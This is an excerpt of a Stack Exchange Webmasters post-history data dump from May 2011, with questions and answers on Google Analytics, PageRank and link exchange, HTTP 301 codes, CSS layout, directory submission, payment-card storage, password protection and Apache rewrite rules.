  <row Id="31350" PostHistoryTypeId="1" PostId="13554" RevisionGUID="a8f25545-e20b-4465-a392-4ab31b7c1b1b" CreationDate="2011-05-09T15:28:21.660" UserId="6624" Text="Does Google Analytics allow custom variables to have a value of zero?" />
  <row Id="31351" PostHistoryTypeId="3" PostId="13554" RevisionGUID="a8f25545-e20b-4465-a392-4ab31b7c1b1b" CreationDate="2011-05-09T15:28:21.660" UserId="6624" Text="&lt;google-analytics&gt;&lt;javascript&gt;" />
  <row Id="31352" PostHistoryTypeId="2" PostId="13555" RevisionGUID="52844363-00ad-4416-beab-f454dad4be16" CreationDate="2011-05-09T15:32:32.237" UserId="1643" Text="The `_setCustomVar` function takes a string for a value and you're setting ver to a number 0. I think you need to set it to `&quot;0&quot;`." />
  <row Id="31353" PostHistoryTypeId="2" PostId="13556" RevisionGUID="b28fa3a9-d82e-4a09-add9-d6b43ce50598" CreationDate="2011-05-09T15:40:56.587" UserId="529" Text="Your problem is that `0` is a falsy value in JavaScript. So, any number EXCEPT zero will just be cast to a string if you pass it as a Number. But, since `0` evaluates as false, it gets interpreted that you're not passing a value for a required field, and the `setCustomVar` fails. So, yes, setting it to `&quot;0&quot;` instead of `0` will work. " />
  <row Id="31354" PostHistoryTypeId="2" PostId="13557" RevisionGUID="8ef3b641-95b9-4f49-b440-b88de3a5c55d" CreationDate="2011-05-09T16:19:25.777" UserId="7392" Text="I want to increase page rank on my main index blog page and categories.&#xD;&#xA;&#xD;&#xA;If i remove the links to my posts from my index page and have only links to categories, will that help? Anyone tried it?&#xD;&#xA;&#xD;&#xA;Ty" />
  <row Id="31355" PostHistoryTypeId="1" PostId="13557" RevisionGUID="8ef3b641-95b9-4f49-b440-b88de3a5c55d" CreationDate="2011-05-09T16:19:25.777" UserId="7392" Text="Increasing the pagerank to my blogs index page, removing the links to posts" />
  <row Id="31356" PostHistoryTypeId="3" PostId="13557" RevisionGUID="8ef3b641-95b9-4f49-b440-b88de3a5c55d" CreationDate="2011-05-09T16:19:25.777" UserId="7392" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;links&gt;" />
  <row Id="31357" PostHistoryTypeId="2" PostId="13558" RevisionGUID="234667cd-a24b-452d-b199-12d51c0f8d26" CreationDate="2011-05-09T16:25:56.597" UserId="1253" Text="If you want to increase your PageRank see [this answer][1] for how to do that&#xD;&#xA;&#xD;&#xA;&gt; If i remove the links to my posts from&#xD;&#xA;&gt; my index page and have only links to&#xD;&#xA;&gt; categories, will that help?&#xD;&#xA;&#xD;&#xA;No. That's not how PR works. A page's PR is not changed by the number of links ***on*** it. It is changed by the number and quality of links ***to*** it.&#xD;&#xA;&#xD;&#xA;I wouldn't worry about PR. Its role in Google's algorithm is clearly diminished. Instead focus on improving your content and attracting quality links.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/5012/how-to-increase-google-page-rank-of-your-website-blog" />
  <row Id="31358" PostHistoryTypeId="6" PostId="13557" RevisionGUID="2ecfea01-df34-486b-ad1d-8a7564fd0615" CreationDate="2011-05-09T16:31:30.927" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;pagerank&gt;&lt;links&gt;" />
  <row Id="31359" PostHistoryTypeId="2" PostId="13559" RevisionGUID="3500e265-841d-409a-a153-0e2b952095db" CreationDate="2011-05-09T16:48:15.147" UserId="2251" Text="Is there a simple way to pull off this style of quotes in HTML/CSS without having to resort to images or things like absolute positioning? It seems every time I look away something new and awesome is added to HTML/CSS, so I just wondered if this type of thing might be possible? :)&#xD;&#xA;&#xD;&#xA;See image:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/7Cy0Y.png" />
  <row Id="31360" PostHistoryTypeId="1" PostId="13559" RevisionGUID="3500e265-841d-409a-a153-0e2b952095db" CreationDate="2011-05-09T16:48:15.147" UserId="2251" Text="Big stylish quotes using only HTML/CSS?" />
  <row Id="31361" PostHistoryTypeId="3" PostId="13559" RevisionGUID="3500e265-841d-409a-a153-0e2b952095db" CreationDate="2011-05-09T16:48:15.147" UserId="2251" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="31362" PostHistoryTypeId="2" PostId="13560" RevisionGUID="67f2cc61-e968-4b9a-b9b0-09c326d17bb7" CreationDate="2011-05-09T16:59:59.440" UserId="7392" Text="Hey there, I have a link exchange script, and for a few weeks - after it verify's a site i'm exchanging links - the script tells me:&#xD;&#xA;&#xD;&#xA;Site Returned HTTP Code:301&#xD;&#xA;&#xD;&#xA;What does that mean?&#xD;&#xA;TY" />
  <row Id="31363" PostHistoryTypeId="1" PostId="13560" RevisionGUID="67f2cc61-e968-4b9a-b9b0-09c326d17bb7" CreationDate="2011-05-09T16:59:59.440" UserId="7392" Text="Site Returned HTTP Code:301 - link exchange" />
  <row Id="31364" PostHistoryTypeId="3" PostId="13560" RevisionGUID="67f2cc61-e968-4b9a-b9b0-09c326d17bb7" CreationDate="2011-05-09T16:59:59.440" UserId="7392" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="31365" PostHistoryTypeId="2" PostId="13561" RevisionGUID="56d21240-677d-4eec-825d-16275d58a266" CreationDate="2011-05-09T17:11:31.470" UserId="7393" Text="You need the quote image, put it in the background of a div and set a first line margin.&#xD;&#xA;&#xD;&#xA;You are going to need to use an image." />
  <row Id="31366" PostHistoryTypeId="2" PostId="13562" RevisionGUID="79b82cf2-189d-48d5-9ff1-149e46ac5bc2" CreationDate="2011-05-09T12:48:36.977" UserDisplayName="umesh awasthi" Text="please correct me if i am off topic or question is not that relevant.I am planning to launch a portal in few days and since i can't go for SEO things at the starting stage (resource and Budget) so i have to do initial work myself and with my friends.&#xD;&#xA;&#xD;&#xA;I am not SEO field person and pure java/j2ee based person so while reading i came to know that we need to submit website to some well known Directories over internet,not sure how much truth in this.&#xD;&#xA;My question is if its true from where i can get a relevant list of such Directories or any resource which can help me in this regard.additionally what other things needs to be taken care with respect to SEO in the initial phase of the portal.&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="31367" PostHistoryTypeId="1" PostId="13562" RevisionGUID="79b82cf2-189d-48d5-9ff1-149e46ac5bc2" CreationDate="2011-05-09T12:48:36.977" UserDisplayName="umesh awasthi" Text="Directories with web site submission" />
  <row Id="31368" PostHistoryTypeId="3" PostId="13562" RevisionGUID="79b82cf2-189d-48d5-9ff1-149e46ac5bc2" CreationDate="2011-05-09T12:48:36.977" UserDisplayName="umesh awasthi" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;seo-friendly&gt;" />
  <row Id="31369" PostHistoryTypeId="17" PostId="13562" RevisionGUID="57bbca98-719a-4d62-8338-9399a3897c8f" CreationDate="2011-05-09T17:16:38.473" UserId="-1" Comment="from http://stackoverflow.com/questions/5937102/directories-with-web-site-submission" Text="" />
  <row Id="31370" PostHistoryTypeId="2" PostId="13563" RevisionGUID="a56a5825-3b44-45ee-961b-9828e278d519" CreationDate="2011-05-09T17:49:35.500" UserId="7076" Text="It is indeed possible without using images. One approach introduces additional markup besides a simple `&lt;blockquote&gt;` and another uses the :before and :after pseudo selectors to add the quotes. The quotes themselves are just blown up text and styled with CSS. So yes images aren't required, but they end up being easier to implement and more widely supported. The pseudo selectors don't have support in IE6 or IE7, but it's up to you if you want to support them.&#xD;&#xA;&#xD;&#xA;http://www.designmeme.com/tutorials/csscurlyquotes/" />
  <row Id="31371" PostHistoryTypeId="5" PostId="13562" RevisionGUID="1b5bb191-8b9f-427c-a1ba-36ff601e660b" CreationDate="2011-05-09T18:10:22.830" UserId="1253" Comment="Reformatted text, removed greeting and thank you" Text="I am not SEO field person and pure java/j2ee based person so while reading i came to know that we need to submit website to some well known Directories over internet, not sure how much truth in this.&#xD;&#xA;&#xD;&#xA;My question is if its true from where i can get a relevant list of such Directories or any resource which can help me in this regard. Additionally what other things needs to be taken care with respect to SEO in the initial phase of the portal.&#xD;&#xA;" />
  <row Id="31372" PostHistoryTypeId="25" PostId="13559" RevisionGUID="6d70a034-5257-4d02-bbe4-6ccd6e9e313b" CreationDate="2011-05-09T18:11:35.340" Comment="http://twitter.com/#!/StackWebmasters/status/67652951585472512" />
  <row Id="31373" PostHistoryTypeId="2" PostId="13564" RevisionGUID="c37bd98d-050d-49bb-9083-4741ca933a86" CreationDate="2011-05-09T18:15:29.813" UserId="1253" Text="Submitting to directories can have a positive effect on your rankings but, generally speaking, in reality unless you are targeting a very niche market/search term I wouldn't expect to see great or significant results from this. The overwhelming vast majority of directories rank poorly and have few incoming links to them. So their SEO value is minimal (virtually zero). So listings in them will give you very weak links pointing to your website. Weak links do add up but *very* slowly. So if you're targeting a broad market or search term you will never reach &quot;critical mass&quot; this way. But for very niche markets and search terms it may not take much to rank well and thus these links can be helpful.&#xD;&#xA;&#xD;&#xA;If you're looking for directories to submit your site look for directories of directories like [directorycritic.com][1].&#xD;&#xA;&#xD;&#xA;See [this question for more on general SEO][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.directorycritic.com/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google" />
  <row Id="31374" PostHistoryTypeId="6" PostId="13562" RevisionGUID="afd3cfb2-1cc4-477e-ba4e-b1ce289f91c3" CreationDate="2011-05-09T18:15:56.257" UserId="1253" Comment="added directory-listing tag" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;seo-friendly&gt;&lt;directory-listing&gt;" />
  <row Id="31375" PostHistoryTypeId="2" PostId="13565" RevisionGUID="ed0debce-312c-4acd-84cc-24e5d13cf104" CreationDate="2011-05-09T18:22:58.807" UserId="576" Text="Check if Amazon's cloud offerings suit your requirement. &#xD;&#xA;&#xD;&#xA;*As part of AWS’s [Free Usage Tier][1], new AWS customers can get started with Amazon EC2 for free for the first 12 months.* &#xD;&#xA;&#xD;&#xA;You can use their [monthly-cost estimation tool][2] to see if it fits your budget&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/ec2/pricing/&#xD;&#xA;  [2]: http://calculator.s3.amazonaws.com/calc5.html" />
  <row Id="31376" PostHistoryTypeId="2" PostId="13566" RevisionGUID="fd49d679-72ef-4c5b-a40a-9fa7f481e72a" CreationDate="2011-05-09T19:14:08.117" UserId="132" Text="Linode offers &quot;stacks&quot; with specific set of software installed and configured to get you going quickly. It's quicker than doing it all manually." />
  <row Id="31377" PostHistoryTypeId="2" PostId="13567" RevisionGUID="b21945f1-07c7-4c0e-a7a3-0e75d1aaf69d" CreationDate="2011-05-09T19:18:10.520" UserId="108" Text="That means the URL you are attempting to check is now redirecting to a new/different URL.&#xD;&#xA;&#xD;&#xA;To get a full list of http codes, see Wikipedia, http://en.wikipedia.org/wiki/List_of_HTTP_status_codes." />
  <row Id="31378" PostHistoryTypeId="2" PostId="13568" RevisionGUID="255e861d-88ea-45ff-a0e1-41b5887cf585" CreationDate="2011-05-09T19:19:32.917" UserId="6597" Text="HTTP code 301 is &quot;Moved permanently&quot;. This means that the redirect is permanent.&#xD;&#xA;&#xD;&#xA;In your case, it's likely to confirm that the affiliate link works as expected (redirects to an other site)." />
  <row Id="31379" PostHistoryTypeId="25" PostId="13560" RevisionGUID="33a973fc-ee16-407b-81e5-03c04d092696" CreationDate="2011-05-09T21:11:35.993" Comment="http://twitter.com/#!/StackWebmasters/status/67698252442640386" />
  <row Id="31380" PostHistoryTypeId="2" PostId="13569" RevisionGUID="b00648fb-d143-4961-b9dd-5d4336fe514a" CreationDate="2011-05-09T22:42:47.573" UserId="3514" Text="For a personal site, Co.cc is free forever, you just have to renew the domain every so often (I think those two years).&#xD;&#xA;&#xD;&#xA;If it's a business website, you do have to pay, but I think it's only $5 a year, but if you're willing to pay money, bump it up to $10 and get a real domain." />
  <row Id="31382" PostHistoryTypeId="2" PostId="13570" RevisionGUID="83bc4635-3787-4de5-b4e5-afe87478bc34" CreationDate="2011-05-09T23:21:14.347" UserId="7337" Text="Note that if you do end up deciding to store the credit card information in your own db, you should not, under any circumstances store the [3 digit card security code][1]. Doing so is strictly forbidden by the card associations.&#xD;&#xA;&#xD;&#xA;BTW, you do not need the card security code in order to make a transaction. It improves the fraud detection rate, but you shouldn't need it if you have an on-going relationship with the customer. (And even if you think you need it, you can't store it. No matter what.)&#xD;&#xA;&#xD;&#xA;I also second the other recommendations to not store the info. Authorize.Net's [Customer Information Manager][2] is easy and cheap to use. It will be MUCH MUCH cheaper for you to use it rather than incur the PCI costs inherent in storing the info on your own servers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Card_security_code&#xD;&#xA;  [2]: http://www.authorize.net/solutions/merchantsolutions/merchantservices/cim/" />
  <row Id="31383" PostHistoryTypeId="2" PostId="13571" RevisionGUID="4fb84fcb-355c-44a0-a6ff-a9d8d3c15a51" CreationDate="2011-05-09T23:39:48.677" UserId="4622" Text="I have a friend who's in medical need. I would like to setup a fundraiser on behalf of his family AND some general, related organizations (Like the Ronald McDonald House). &#xD;&#xA;&#xD;&#xA;I remember donating for a few causes that lets me select which fundaisers I wante dto donate to, etc. Are there APIs for these or affiliate programs? Or do I just collect money and then have a legal agreement to send them the earnings?&#xD;&#xA;&#xD;&#xA;In short, Im going to build this site in Django and will likely control the entire form process (to make it looks nice and smooth). &#xD;&#xA;&#xD;&#xA;Any ideas on how I can implement genearl org fundraising? Any PCI/Legalities I need to address first?" />
  <row Id="31384" PostHistoryTypeId="1" PostId="13571" RevisionGUID="4fb84fcb-355c-44a0-a6ff-a9d8d3c15a51" CreationDate="2011-05-09T23:39:48.677" UserId="4622" Text="How do setup a multi-org fundraising site" />
  <row Id="31385" PostHistoryTypeId="3" PostId="13571" RevisionGUID="4fb84fcb-355c-44a0-a6ff-a9d8d3c15a51" CreationDate="2011-05-09T23:39:48.677" UserId="4622" Text="&lt;api&gt;" />
  <row Id="31386" PostHistoryTypeId="2" PostId="13572" RevisionGUID="360b3075-c4a8-46d1-8f4c-80b61b9889f6" CreationDate="2011-05-09T23:46:24.330" UserId="1112" Text="AOL is powered by Google but I am seeing different results if I use the same search terms in each one. Why is this?" />
  <row Id="31387" PostHistoryTypeId="1" PostId="13572" RevisionGUID="360b3075-c4a8-46d1-8f4c-80b61b9889f6" CreationDate="2011-05-09T23:46:24.330" UserId="1112" Text="Why are Google and AOL results different?" />
  <row Id="31388" PostHistoryTypeId="3" PostId="13572" RevisionGUID="360b3075-c4a8-46d1-8f4c-80b61b9889f6" CreationDate="2011-05-09T23:46:24.330" UserId="1112" Text="&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="31389" PostHistoryTypeId="25" PostId="13572" RevisionGUID="1fb8e831-4281-4c0c-971d-2a677baede33" CreationDate="2011-05-10T00:11:36.270" Comment="http://twitter.com/#!/StackWebmasters/status/67743552167358464" />
  <row Id="31390" PostHistoryTypeId="2" PostId="13573" RevisionGUID="77b37bdf-71a2-4e20-aaea-55282a8fe9da" CreationDate="2011-05-10T00:19:45.287" UserId="1253" Text="Google is probably using personalized search and/or geolocation. AOL is not." />
  <row Id="31392" PostHistoryTypeId="5" PostId="11759" RevisionGUID="2dbd639b-f819-4a71-a490-e568e1defa92" CreationDate="2011-05-10T01:27:54.133" UserId="1253" Comment="deleted 34 characters in body" Text="Don't focus on getting your website reviewed because you think it's good for SEO.&#xD;&#xA;&#xD;&#xA;Focus on making your website as good as it can possibly be, and bringing it to the attention of the people you think would benefit from using it. Try to get reviews that will drive traffic, not links.&#xD;&#xA;" />
  <row Id="31393" PostHistoryTypeId="2" PostId="13574" RevisionGUID="05ffff7c-efe5-40b0-8d59-f27b384223e2" CreationDate="2011-05-10T01:54:06.090" UserId="6033" Text="AOL's search says enhanced by google, not that it uses the same google algorithm. AOL probably pays google for access to a database with search results and some of google's search features. They probably don't get access to google's current algorithm." />
  <row Id="31394" PostHistoryTypeId="25" PostId="13554" RevisionGUID="cedf9791-65bf-41ec-a539-d97751afba51" CreationDate="2011-05-10T03:11:37.610" Comment="http://twitter.com/#!/StackWebmasters/status/67788855637581824" />
  <row Id="31395" PostHistoryTypeId="17" PostId="13576" RevisionGUID="74051c31-1a7e-4ba3-ab5d-1d36afd672a5" CreationDate="2011-05-10T03:25:24.797" UserId="-1" Comment="from http://stackoverflow.com/questions/5934989/is-link-trading-a-recommended-method-of-seo/5935190#5935190" Text="" />
  <row Id="31396" PostHistoryTypeId="17" PostId="13577" RevisionGUID="89728c2c-9198-4091-a801-09d8a843b240" CreationDate="2011-05-10T03:25:24.797" UserId="-1" Comment="from http://stackoverflow.com/questions/5934989/is-link-trading-a-recommended-method-of-seo/5935329#5935329" Text="" />
  <row Id="31397" PostHistoryTypeId="2" PostId="13576" RevisionGUID="ea46aff6-8132-4a4c-8d2e-b229622e6b13" CreationDate="2011-05-09T09:49:34.360" UserId="5684" Text="If the links are from bad sites, then this will bring your site down. For small businesses particularly, cross linking is definitely a good technique, as you are likely to want to genuinely endorse each other.&#xD;&#xA;&#xD;&#xA;Bought links are bad – don't pay a site to link to you, and if the site has millions of links, it won't count for much." />
  <row Id="31398" PostHistoryTypeId="2" PostId="13577" RevisionGUID="875bde2c-df33-4be4-8d3f-4876d071eba8" CreationDate="2011-05-09T10:02:49.410" UserId="1300" Text="Generally (indiscriminate) link trading is frowned upon by SEs and often you will gain little benefit and may probably even face a penalty. &#xD;&#xA;&#xD;&#xA;However, inbound links from worthy sites; sites in good standing, and ideally sites with complementary content can help a lot. I've no idea what are of business you are in, but contacting specific sites offering complimentary products and services and arranging a reciprocal link exchange might be useful, but simply registering with generic link farm will not. &#xD;&#xA;&#xD;&#xA;There are plenty of others ways of getting inbound links - writing articles about your area of business and submitting them to news/trade magazine-type sites, or offering a free resource (information/service/download) are classic approaches. &#xD;&#xA;&#xD;&#xA;But ultimately, you will only get decent inbound links if you have good/interesting/sought-after content, products or services - and you can't short-cut the issue through link farms." />
  <row Id="31399" PostHistoryTypeId="2" PostId="13575" RevisionGUID="18694cfc-8b5e-4c54-9a40-fd69d4154149" CreationDate="2011-05-09T09:32:27.077" UserId="7101" Text="I've read in some places that link trading is a good way to get in-bound links, but read in other places that link trading is punished by search engines.&#xD;&#xA;&#xD;&#xA;Should I use link trading or is it counter-productive?" />
  <row Id="31400" PostHistoryTypeId="1" PostId="13575" RevisionGUID="18694cfc-8b5e-4c54-9a40-fd69d4154149" CreationDate="2011-05-09T09:32:27.077" UserId="7101" Text="Is link trading a recommended method of SEO?" />
  <row Id="31401" PostHistoryTypeId="3" PostId="13575" RevisionGUID="18694cfc-8b5e-4c54-9a40-fd69d4154149" CreationDate="2011-05-09T09:32:27.077" UserId="7101" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="31402" PostHistoryTypeId="17" PostId="13575" RevisionGUID="a9b61313-fbdc-4feb-bf24-43dc9b6d863b" CreationDate="2011-05-10T03:25:24.797" UserId="-1" Comment="from http://stackoverflow.com/questions/5934989/is-link-trading-a-recommended-method-of-seo" Text="" />
  <row Id="31403" PostHistoryTypeId="25" PostId="13571" RevisionGUID="b8e0be06-b80e-4a93-8baa-1de15ea6fcc3" CreationDate="2011-05-10T06:11:37.983" Comment="http://twitter.com/#!/StackWebmasters/status/67834156175990784" />
  <row Id="31404" PostHistoryTypeId="2" PostId="13578" RevisionGUID="a8689468-0afa-4dac-922c-c664caaf660d" CreationDate="2011-05-10T06:59:43.857" UserId="7304" Text="Simply add the following CSS:&#xD;&#xA;&#xD;&#xA;    html, body{&#xD;&#xA;      margin: 0;&#xD;&#xA;      padding: 0;&#xD;&#xA;      height: 100%;&#xD;&#xA;      overflow: hidden;&#xD;&#xA;    }&#xD;&#xA;    #content{&#xD;&#xA;      position: absolute; &#xD;&#xA;      top: 144px; &#xD;&#xA;      bottom: 144px; &#xD;&#xA;      left: 0px;&#xD;&#xA;      width: 100%;&#xD;&#xA;      overflow: auto; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And presto.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31405" PostHistoryTypeId="2" PostId="13579" RevisionGUID="3ae842a1-1636-4c6e-97a6-b34b8a2b7366" CreationDate="2011-05-10T07:23:39.697" UserId="1064" Text="&gt; The sites that link to you can provide&#xD;&#xA;&gt; context about the subject matter of&#xD;&#xA;&gt; your site, and can indicate its&#xD;&#xA;&gt; quality and popularity. However, some&#xD;&#xA;&gt; webmasters engage in link exchange&#xD;&#xA;&gt; schemes and build partner pages&#xD;&#xA;&gt; exclusively for the sake of&#xD;&#xA;&gt; cross-linking, disregarding the&#xD;&#xA;&gt; quality of the links, the sources, and&#xD;&#xA;&gt; the long-term impact it will have on&#xD;&#xA;&gt; their sites. This is in violation of&#xD;&#xA;&gt; Google's Webmaster Guidelines and can&#xD;&#xA;&gt; negatively impact your site's ranking&#xD;&#xA;&gt; in search results.&#xD;&#xA;&#xD;&#xA;[Link Schemes at Google Webmaster Central][1]&#xD;&#xA;&#xD;&#xA;To see why this practice has, at best, a net zero effect for both linking sites (assuming that the normalized number of outbound links are equal between the sites) and, at worst, a net negative effect for one - or *both* - of the sites (assuming that the normalized number of outbound links on Site A is far greater than that of Site B, such that the value of Site B's link to Site A is greater than that of Site A's link to Site B; *both* sites may be adversely impacted if reciprocal linking adds to the damping factor on each site's ranking) take a look at Wikipedia's [PageRank][2] entry.&#xD;&#xA;&#xD;&#xA;The simplified algorithm presented at Wikipedia does not factor in any damping or additional factors considered by Google when determining the page's rank - it's still relevant in this case, however, as it illustrates the reasoning behind Google's discouragement of reciprocal linking schemes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66356&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/PageRank#Simplified_algorithm" />
  <row Id="31406" PostHistoryTypeId="5" PostId="13390" RevisionGUID="d7e69ac8-6a83-40db-844c-19ca9bd4a89c" CreationDate="2011-05-10T07:27:11.143" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Any problems with DIVs inside a table cell?](http://webmasters.stackexchange.com/questions/13418/any-problems-with-divs-inside-a-table-cell)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Ok so I've got a header and a footer with absolute positioning and heights of 144px. The content div in the middle area needs to be the full height of the area in between.&#xD;&#xA;&#xD;&#xA;Simplified:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;      .sandwich{&#xD;&#xA;        position: absolute;&#xD;&#xA;        height: 144px; &#xD;&#xA;        width: 100%; &#xD;&#xA;        left: 0;&#xD;&#xA;      }&#xD;&#xA;      #header{ top:    0px; }&#xD;&#xA;      #footer{ bottom: 0px; }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div id=&quot;header&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;content&quot;&gt; Content &lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;footer&quot; class=&quot;sandwich&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;So basically I want a div that is 100% - 288px. At first I thought I could just make a 100% x 100% div with 144 padding on top and bottom and then stuff the content div in there at 100% but my thinking has gone stray somewhere.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&gt; Here's an example I made using 20% height for 'bread layers'. (Which I can't do on this project) Used 60% height for the scrolling 'meaty layer' and put it at top: 20%;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/0r56C.png" />
  <row Id="31407" PostHistoryTypeId="10" PostId="13390" RevisionGUID="0cc34bd9-9612-480b-9283-d58c7d712b7b" CreationDate="2011-05-10T07:27:10.863" UserId="1064" CloseReasonId="1" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="31408" PostHistoryTypeId="25" PostId="13575" RevisionGUID="2f65c77c-0779-411b-b4b5-493c2333edb8" CreationDate="2011-05-10T09:11:38.167" Comment="http://twitter.com/#!/StackWebmasters/status/67879455397392384" />
  <row Id="31409" PostHistoryTypeId="2" PostId="13580" RevisionGUID="70c82d6a-8f61-4c75-b6b3-3f7f99e1f92b" CreationDate="2011-05-10T09:19:14.327" UserId="7400" Text="I am writing some simple HTML pages. I need to protect some pages and some files (to be downloaded) by requiring username and password. Do anyone has a simple solution? Thank you very much!" />
  <row Id="31410" PostHistoryTypeId="1" PostId="13580" RevisionGUID="70c82d6a-8f61-4c75-b6b3-3f7f99e1f92b" CreationDate="2011-05-10T09:19:14.327" UserId="7400" Text="Is there a simple way to protect my webpage by password?" />
  <row Id="31411" PostHistoryTypeId="3" PostId="13580" RevisionGUID="70c82d6a-8f61-4c75-b6b3-3f7f99e1f92b" CreationDate="2011-05-10T09:19:14.327" UserId="7400" Text="&lt;html&gt;&lt;password&gt;&lt;protection&gt;" />
  <row Id="31412" PostHistoryTypeId="6" PostId="13537" RevisionGUID="0e7a8cee-a0c2-457c-9e4e-ce9892bef658" CreationDate="2011-05-10T10:15:11.797" UserId="1643" Comment="edited tags" Text="&lt;hosting&gt;&lt;web-hosting&gt;&lt;vps&gt;&lt;webserver&gt;" />
  <row Id="31413" PostHistoryTypeId="6" PostId="3101" RevisionGUID="455aa244-b579-46a7-8107-122d2bb5d10f" CreationDate="2011-05-10T10:16:13.013" UserId="1643" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;http-server&gt;" />
  <row Id="31414" PostHistoryTypeId="6" PostId="3064" RevisionGUID="786f11d3-419b-4731-9530-4a0cc79330cb" CreationDate="2011-05-10T10:16:41.250" UserId="1643" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;social-media&gt;" />
  <row Id="31415" PostHistoryTypeId="6" PostId="386" RevisionGUID="7b3b50dc-3273-4854-a3a5-1acfaddb271a" CreationDate="2011-05-10T10:17:04.680" UserId="1643" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;recommendations&gt;" />
  <row Id="31416" PostHistoryTypeId="5" PostId="13542" RevisionGUID="9858856c-d8e6-470c-b126-712adca09b68" CreationDate="2011-05-10T10:23:05.833" UserId="1643" Comment="Added extra info from one of the comments." Text="How do you achieve this kind of menu:&#xD;&#xA;&#xD;&#xA;About | Privacy | Contact | Site Map&#xD;&#xA;&#xD;&#xA;... a menu separated by a vertical bar, but the first and last item doesn't have a bar on the left and right sides (as shown in the example)?&#xD;&#xA;&#xD;&#xA;The menu items are generated dynamically (used in wordpress), not manually.&#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="31417" PostHistoryTypeId="6" PostId="13542" RevisionGUID="9858856c-d8e6-470c-b126-712adca09b68" CreationDate="2011-05-10T10:23:05.833" UserId="1643" Comment="Added extra info from one of the comments." Text="&lt;css&gt;&lt;wordpress&gt;" />
  <row Id="31418" PostHistoryTypeId="24" PostId="13542" RevisionGUID="9858856c-d8e6-470c-b126-712adca09b68" CreationDate="2011-05-10T10:23:05.833" Comment="Proposed by 1643 approved by 1064 edit id of 261" />
  <row Id="31419" PostHistoryTypeId="2" PostId="13581" RevisionGUID="765c9c3d-3793-4081-b995-03d73a1c38f8" CreationDate="2011-05-10T10:32:49.380" UserId="7402" Text="The comment by @Sparky672 is spot on.  There's rarely need to resort to an official C&amp;D (cease and desist), but I would guard IP vigilantly.  If the property is worth it, which it sounds like it is, consider measured escalation.&#xD;&#xA;&#xD;&#xA;Also, there are websites (Google, Internet Archive) that can be used to show the status of a website in the past.  Not sure if it would hold up to the rigor of either archivist or court evidentiary standards." />
  <row Id="31420" PostHistoryTypeId="2" PostId="13582" RevisionGUID="0795fa3b-b043-4597-9781-c1adad30aa0e" CreationDate="2011-05-10T10:36:36.130" UserId="1643" Text="First of all find out what sort of webserver you are using by using the method suggested in this question: http://superuser.com/questions/120783/can-i-detect-what-webserver-a-website-is-using&#xD;&#xA;&#xD;&#xA;**If it's Apache**&#xD;&#xA;http://webmasters.stackexchange.com/questions/282/how-do-i-setup-authentication-on-a-specific-folder-using-htaccess&#xD;&#xA;&#xD;&#xA;**If it's IIS**&#xD;&#xA;http://serverfault.com/questions/193273/iis-password-protection-for-php" />
  <row Id="31421" PostHistoryTypeId="17" PostId="13584" RevisionGUID="78b3603f-e061-42dd-aa88-ec4258282104" CreationDate="2011-05-10T11:30:26.253" UserId="-1" Comment="from http://stackoverflow.com/questions/5927794/disable-serving-specific-files-from-web-directory-based-on-hostname-used/5927849#5927849" Text="" />
  <row Id="31422" PostHistoryTypeId="17" PostId="13585" RevisionGUID="ec3ac13f-7c9f-411b-bddc-d1a1191e3dd8" CreationDate="2011-05-10T11:30:26.253" UserId="-1" Comment="from http://stackoverflow.com/questions/5927794/disable-serving-specific-files-from-web-directory-based-on-hostname-used/5927877#5927877" Text="" />
  <row Id="31423" PostHistoryTypeId="2" PostId="13584" RevisionGUID="870d88ba-2ade-4f6f-91d0-15b9d1b92c2b" CreationDate="2011-05-08T13:57:04.763" UserDisplayName="Tom Claus" Text="    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.domain1.com$&#xD;&#xA;    RewriteRule ^filefordomain2.png$ - [F,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.domain2.com$&#xD;&#xA;    RewriteRule ^filefordomain1.png$ - [F,L]&#xD;&#xA;&#xD;&#xA;In your RewriteRule you can also work with Regular expressions for multiple files.&#xD;&#xA; " />
